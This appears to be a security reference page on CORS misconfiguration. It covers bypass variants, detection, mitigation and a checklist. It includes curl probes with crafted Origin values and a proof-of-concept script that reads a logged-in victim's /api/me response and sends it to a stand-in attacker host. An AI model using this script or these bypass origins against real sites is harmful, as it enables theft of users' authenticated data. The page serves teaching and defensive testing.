Skip to content

CORS Misconfiguration

The Same-Origin Policy stops a site from reading responses from another origin. CORS (Cross-Origin Resource Sharing) is how a server relaxes that rule on purpose, telling the browser via headers “this other origin may read me.” The bug appears when the server relaxes too much: if it reflects any Origin or trusts origins it shouldn’t and allows credentials, an attacker site reads the victim’s authenticated data.

CORS doesn’t protect the server: it protects the victim’s browser from another site reading responses carrying their cookies. A lax config breaks exactly that. The lethal combination is a reflected Access-Control-Allow-Origin + Access-Control-Allow-Credentials: true: the victim’s browser, logged into their bank, lets evil.com do fetch(..., {credentials:'include'}) and read the response.

# request
GET /api/me HTTP/1.1
Origin: https://evil.com
Cookie: session=...
# vulnerable response
Access-Control-Allow-Origin: https://evil.com <- reflects the attacker Origin
Access-Control-Allow-Credentials: true <- and allows credentials

Try different Origin values and see what the response reflects (-H "Origin: ..."):

# does it reflect any origin?
curl -s -I https://target/api/me -H "Origin: https://evil.com" | grep -i access-control
# frequent misconfig cases:
Origin: https://evil.com -> reflected as-is
Origin: null -> ACAO: null (sandbox iframes, data:, redirects)
Origin: https://target.evil.com -> weak substring match ("target" as prefix)
Origin: https://evil-target.com -> badly-checked suffix
Origin: https://target.com.evil.com -> "endsWith without a dot"

If it reflects Origin + credentials true, an attacker page steals data:

<script>
fetch("https://target/api/me", {credentials:"include"})
.then(r => r.text())
.then(d => fetch("https://attacker/x?d=" + encodeURIComponent(d)));
</script>

Allowlist bypass variants:

  • null: many backends accept Origin: null and reflect it; generated from a sandbox iframe or a data: document.
  • Weak regex/substring: Origin that contains the expected domain (target.com.evil.com, eviltarget.com).
  • Trusted subdomains + XSS: if *.target.com is allowed and any subdomain has XSS, the trust is abused.
  • Mixed protocol / port: accepting http:// or any port widens the surface.
  • Burp Suite — scanner + repeater to vary Origin.
  • CORScanner, Corsy — automated detection of lax configs.
  • Browser console to validate the real credentialed fetch.

Read of the victim’s authenticated data (profile, tokens, messages), theft of CSRF tokens/API keys exposed by the API, and pivot to actions if the API returns what’s needed.

  • Responses reflecting arbitrary Origin in Access-Control-Allow-Origin.
  • ACAO: * alongside sensitive content, or reflected ACAO with Allow-Credentials: true.
  • Unexpected origins in preflight (OPTIONS) logs.

Log the incoming Origin and outgoing ACAO; alert when origins outside the allowlist are reflected.

  • Strict, exact allowlist of origins (full comparison, not lax substring/regex); never reflect Origin unvalidated.
  • Never combine Access-Control-Allow-Origin: * (or arbitrary reflection) with Access-Control-Allow-Credentials: true.
  • Reject Origin: null; don’t include it in the allowlist.
  • Limit allowed methods and headers to the minimum; watch trusted subdomains (XSS in one exposes them all).
  • Don’t rely on CORS alone to protect sensitive data: authenticate and authorize every endpoint.

Fix the allowlist, rotate tokens/keys the API could have exposed, review cross-origin access in logs.

  • Mass bug bounties — reflected Origin + credentials is one of the most-reported classes on HackerOne (user data read by evil.com).
  • Appliance panels and APIs — lax CORS configs (reflected Origin with credentials) found repeatedly in audits and bug bounties; usually configuration flaws rather than a specific CVE.
  • Jira / GitLab / many APIs — historical exploitable null origin and substring matching.
  • PortSwigger Web Security Academy has reproducible labs for each variant.
  • Does the response reflect an arbitrary Origin in ACAO?
  • Allow-Credentials: true alongside the reflection? (critical combination)
  • Is Origin: null accepted?
  • Is validation weak substring/regex? (try target.com.evil.com)
  • Is *.target.com trusted with takeover-able subdomains or XSS?
  • Can /api/me be exfiltrated from a third-party page?
  • Does the API protect data beyond CORS too (per-endpoint authZ)?